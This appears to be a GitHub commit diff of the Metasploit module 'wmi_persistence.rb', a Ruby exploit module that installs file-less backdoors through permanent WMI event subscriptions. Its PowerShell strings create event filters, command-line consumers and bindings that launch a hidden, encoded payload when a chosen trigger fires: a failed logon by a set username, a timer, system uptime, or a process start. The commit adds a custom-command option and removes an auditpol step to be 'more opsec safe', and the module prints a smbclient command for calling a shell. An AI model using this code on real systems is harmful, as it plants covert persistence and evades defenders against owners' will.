Skip to content

Commit 24404ae

Browse files
committed
added heredoc to tidy formatting
changed USER persistence method to EVENT to better describe technique removed "auditpol.exe /set /subcategory:Logon /failure:Enable" command from subscription_event method to be more opsec safe added CUSTOM_PS_COMMAND advanced option updated description to reflect changes
1 parent 681f9f3 commit 24404ae

File tree

1 file changed

+47
-34
lines changed

1 file changed

+47
-34
lines changed

modules/exploits/windows/local/wmi_persistence.rb

Lines changed: 47 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -19,14 +19,16 @@ def initialize(info = {})
1919
'Name' => 'WMI Event Subscription Persistence',
2020
'Description' => %q{
2121
This module will create a permanent WMI event subscription to achieve file-less persistence using one
22-
of four methods. The USERNAME method will create an event filter that will query the event log for an
23-
EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER.
24-
When these criteria are met a command line event consumer will trigger an encoded powershell payload.
25-
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL.
26-
The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4
27-
minutes. The PROCESS method will create an event filter that triggers the payload when the specified process is
28-
started. This module requires administrator level privileges as well as a high integrity process.
29-
It is also recommended not to use stageless payloads due to powershell script length limitations.
22+
of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
23+
(default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
24+
must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
25+
/failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
26+
The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
27+
method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
28+
method will create an event filter that triggers the payload when the specified process is started. Additionally a custom
29+
command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires
30+
administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads
31+
due to powershell script length limitations.
3032
},
3133
'Author' => ['Nick Tyrer <@NickTyrer>'],
3234
'License' => MSF_LICENSE,
@@ -48,7 +50,7 @@ def initialize(info = {})
4850

4951
register_options([
5052
OptEnum.new('PERSISTENCE_METHOD',
51-
[true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL','LOGON','PROCESS']]),
53+
[true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS']]),
5254
OptInt.new('EVENT_ID_TRIGGER',
5355
[true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
5456
OptString.new('USERNAME_TRIGGER',
@@ -60,6 +62,12 @@ def initialize(info = {})
6062
OptString.new('CLASSNAME',
6163
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
6264
])
65+
66+
register_advanced_options(
67+
[
68+
OptString.new('CUSTOM_PS_COMMAND',
69+
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
70+
])
6371
end
6472

6573

@@ -82,91 +90,96 @@ def exploit
8290
case datastore['PERSISTENCE_METHOD']
8391
when 'LOGON'
8492
psh_exec(subscription_logon)
85-
print_good "Backdoor installed!"
93+
print_good "Persistence installed!"
8694
@cleanup
8795
when 'INTERVAL'
8896
psh_exec(subscription_interval)
89-
print_good "Backdoor installed!"
97+
print_good "Persistence installed!"
9098
@cleanup
91-
when 'USERNAME'
92-
psh_exec(subscription_user)
93-
print_good "Backdoor installed! Call a shell using \"smbclient \\\\\\\\<target_ip>\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
99+
when 'EVENT'
100+
psh_exec(subscription_event)
101+
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\<target_ip>\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
94102
@cleanup
95103
when 'PROCESS'
96104
psh_exec(subscription_process)
97-
print_good "Backdoor installed!"
105+
print_good "Persistence installed!"
98106
@cleanup
99107
end
100108
end
101109

102110

103111
def build_payload
104-
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
112+
if datastore['CUSTOM_PS_COMMAND']
113+
script_in = datastore['CUSTOM_PS_COMMAND']
114+
compressed_script = compress_script(script_in, eof = nil)
115+
encoded_script = encode_script(compressed_script, eof = nil)
116+
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
117+
else
118+
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
119+
end
105120
end
106121

107122

108123
def subscription_logon
109124
command = build_payload
110125
class_name = datastore['CLASSNAME']
111-
"$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
126+
<<-HEREDOC
127+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
112128
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
113-
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
129+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
130+
HEREDOC
114131
end
115132

116133

117134
def subscription_interval
118135
command = build_payload
119136
class_name = datastore['CLASSNAME']
120137
callback_interval = datastore['CALLBACK_INTERVAL']
121-
"$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
138+
<<-HEREDOC
139+
$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
122140
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
123141
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
124-
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
142+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
143+
HEREDOC
125144
end
126145

127146

128-
def subscription_user
147+
def subscription_event
129148
command = build_payload
130149
event_id = datastore['EVENT_ID_TRIGGER']
131150
username = datastore['USERNAME_TRIGGER']
132151
class_name = datastore['CLASSNAME']
133-
"auditpol.exe /set /subcategory:Logon /failure:Enable
152+
<<-HEREDOC
134153
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
135154
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
136-
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
155+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
156+
HEREDOC
137157
end
138158

139159

140160
def subscription_process
141161
command = build_payload
142162
class_name = datastore['CLASSNAME']
143163
process_name = datastore['PROCESS_TRIGGER']
144-
"$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
164+
<<-HEREDOC
165+
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
145166
$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
146-
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}"
167+
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
168+
HEREDOC
147169
end
148170

149171

150172
def log_file(log_path = nil) # Thanks Meatballs for this
151-
# Get hostname
152173
host = session.session_host
153-
154-
# Create Filename info to be appended to downloaded files
155174
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
156-
157-
# Create a directory for the logs
158175
if log_path
159176
logs = ::File.join(log_path, 'logs', 'wmi_persistence',
160177
Rex::FileUtils.clean_path(host + filenameinfo))
161178
else
162179
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
163180
Rex::FileUtils.clean_path(host + filenameinfo))
164181
end
165-
166-
# Create the log directory
167182
::FileUtils.mkdir_p(logs)
168-
169-
# logfile name
170183
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
171184
logfile
172185
end

0 commit comments

Comments
 (0)